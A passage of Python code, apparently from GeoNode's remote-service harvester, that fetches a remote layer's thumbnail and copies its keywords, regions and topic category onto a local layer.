if "thumbnail_url" in _layer and _layer[
"thumbnail_url"]:
thumbnail_remote_url = _layer["thumbnail_url"]
_url = urlsplit(thumbnail_remote_url)
if not _url.scheme:
thumbnail_remote_url = "{}{}".format(
geonode_layer.remote_service.service_url,
_url.path)
resp, image = http_client.request(
thumbnail_remote_url)
if 'ServiceException' in image or \
resp.status < 200 or resp.status > 299:
msg = 'Unable to obtain thumbnail: %s' % image
logger.debug(msg)
# Replace error message with None.
image = None
if image is not None:
thumbnail_name = 'layer-%s-thumb.png' % geonode_layer.uuid
geonode_layer.save_thumbnail(thumbnail_name,
image=image)
else:
self._create_layer_thumbnail(geonode_layer)
# Add Keywords
if "keywords" in _layer and _layer["keywords"]:
keywords = _layer["keywords"]
if keywords:
geonode_layer.keywords.clear()
geonode_layer.keywords.add(*keywords)
# Add Regions
if "regions" in _layer and _layer["regions"]:
(regions_resolved,
regions_unresolved) = resolve_regions(
_layer["regions"])
if regions_resolved:
geonode_layer.regions.clear()
geonode_layer.regions.add(*regions_resolved)
# Add Topic Category
if "category__gn_description" in _layer and _layer[
"category__gn_description"]:
try:
categories = TopicCategory.objects.filter(
Q(gn_description__iexact=_layer[
"category__gn_description"]))
if categories:
geonode_layer.category = categories[0]
except BaseException:
traceback.print_exc()
except BaseException:
traceback.print_exc()
finally:
geonode_layer.save()